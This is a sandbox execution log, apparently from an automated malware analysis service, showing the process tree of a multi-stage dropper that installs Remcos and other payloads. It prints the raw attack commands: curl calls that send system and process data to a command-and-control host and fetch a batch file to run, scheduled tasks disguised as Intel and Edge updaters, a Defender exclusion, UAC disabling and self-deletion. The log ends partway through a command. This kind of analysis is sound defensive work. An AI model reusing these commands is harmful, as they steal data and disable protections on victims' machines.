C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\7725ce688f\Gxtuum.exe2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.10.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exe"C:\Users\Admin\AppData\Local\Temp\a\random.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mode.commode 65,105⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p24291711423417250691697322505 -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\attrib.exeattrib +H "in.exe"5⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\in.exe"in.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\attrib.exeattrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe6⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe6⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.0.0.1; del in.exe6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.exe"C:\Users\Admin\AppData\Local\Temp\a\client.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\l4.exe"C:\Users\Admin\AppData\Local\Temp\a\l4.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Users\Admin\AppData\Local\Temp\onefile_3304_133785001843906793\l4.exeC:\Users\Admin\AppData\Local\Temp\a\l4.exe4⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\W4KLQf7.exe"C:\Users\Admin\AppData\Local\Temp\a\W4KLQf7.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\hyper-v.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo4⤵
- System Location Discovery: System Language Discovery
- Gathers system information
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\a\yiklfON.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\a\yiklfON.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\AzVRM7c.exe"C:\Users\Admin\AppData\Local\Temp\a\AzVRM7c.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Windows Media Player\graph\graph.exe"C:\Program Files\Windows Media Player\graph\graph.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Z9Pp9pM.exe"C:\Users\Admin\AppData\Local\Temp\a\Z9Pp9pM.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\C1J7SVw.exe"C:\Users\Admin\AppData\Local\Temp\a\C1J7SVw.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mode.commode 65,105⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p24291711423417250691697322505 -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\attrib.exeattrib +H "in.exe"5⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\in.exe"in.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\attrib.exeattrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe6⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe6⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.0.0.1; del in.exe6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\3EUEYgl.exe"C:\Users\Admin\AppData\Local\Temp\a\3EUEYgl.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\3EUEYgl.exe" & rd /s /q "C:\ProgramData\RQ9000R1N7QI" & exit4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 105⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Dynpvoy.exe"C:\Users\Admin\AppData\Local\Temp\a\Dynpvoy.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\M5iFR20.exe"C:\Users\Admin\AppData\Local\Temp\a\M5iFR20.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\cmd.execmd /c systeminfo > tmp.txt && tasklist >> tmp.txt4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo5⤵
- System Location Discovery: System Language Discovery
- Gathers system information
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\curl.execurl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C615C4D3569465232302E657865" -X POST -H "X-Auth: 2F5A54534C4C5246482F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\curl.execurl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C615C4D3569465232302E657865" -H "X-Auth: 2F5A54534C4C5246482F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c type "C:\Users\Admin\AppData\Local\Temp\a\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"4⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\curl.execurl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C615C4D3569465232302E657865" -H "X-Auth: 2F5A54534C4C5246482F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\curl.execurl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C615C4D3569465232302E657865" -X POST -H "X-Auth: 2F5A54534C4C5246482F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\networkmanager.exe"C:\Users\Admin\AppData\Local\Temp\a\networkmanager.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\9feskIx.exe"C:\Users\Admin\AppData\Local\Temp\a\9feskIx.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vqmscs.bat" "4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\SysWOW64\net.exenet session5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session6⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\smfbcb.exe"C:\Users\Admin\AppData\Local\Temp\smfbcb.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4XYFk9r.exe"C:\Users\Admin\AppData\Local\Temp\a\4XYFk9r.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpF392.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpF392.tmp.bat4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\dwVrTdy.exe"C:\Users\Admin\AppData\Local\Temp\a\dwVrTdy.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Media Player\graph\graph.exe"C:\Program Files\Windows Media Player\graph\graph.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RMX.exe"C:\Users\Admin\AppData\Local\Temp\a\RMX.exe"3⤵
- Adds policy Run key to start application
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Remcos\remcos.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\ProgramData\Remcos\remcos.exeC:\ProgramData\Remcos\remcos.exe6⤵
- Adds policy Run key to start application
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f8⤵
- UAC bypass
- Modifies registry key
-
-
-
\??\c:\program files (x86)\internet explorer\iexplore.exe"c:\program files (x86)\internet explorer\iexplore.exe"7⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome11.exe"C:\Users\Admin\AppData\Local\Temp\a\chrome11.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\System32\certutil.exe"C:\Windows\System32\certutil.exe" -silent -importPFX -p "" -f "C:\Users\Admin\AppData\Local\Temp\tmpF7BB.tmp"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\alexshlu.exe"C:\Users\Admin\AppData\Local\Temp\a\alexshlu.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\alexshlu.exe"C:\Users\Admin\AppData\Local\Temp\a\alexshlu.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\3EUEYgl.exe"C:\Users\Admin\AppData\Local\Temp\a\3EUEYgl.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\3EUEYgl.exe" & rd /s /q "C:\ProgramData\KNG4EUSR1N7Y" & exit4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 105⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gU8ND0g.exe"C:\Users\Admin\AppData\Local\Temp\a\gU8ND0g.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\attrib.exeattrib +H +S C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe4⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe4⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.0.0.1; del gU8ND0g.exe4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\t5abhIx.exe"C:\Users\Admin\AppData\Local\Temp\a\t5abhIx.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Media Player\graph\graph.exe"C:\Program Files\Windows Media Player\graph\graph.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\888.exe"C:\Users\Admin\AppData\Local\Temp\a\888.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -NoLogo -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Get-Culture | Select -ExpandProperty DisplayName"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\50to.exe"C:\Users\Admin\AppData\Local\Temp\a\50to.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\info.exe"C:\Users\Admin\AppData\Local\Temp\a\info.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C reg delete "HKEY_USERS\.DEFAULT\SOFTWARE\TektonIT" /f4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKEY_USERS\.DEFAULT\SOFTWARE\TektonIT" /f5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C regedit /s "%SystemDrive%\Windows\SysWOW64\ruts\11.reg4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s "C:\Windows\SysWOW64\ruts\11.reg5⤵
- System Location Discovery: System Language Discovery
- Runs .reg file with regedit
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /create /RU SYSTEM /TN "Microsoft\Windows\CertificateServicesClient\ruts" /TR "%SystemDrive%\Windows\SysWOW64\ruts\rutserv.exe" /sc onstart4⤵
- System Location Discovery: System Language Discovery
-
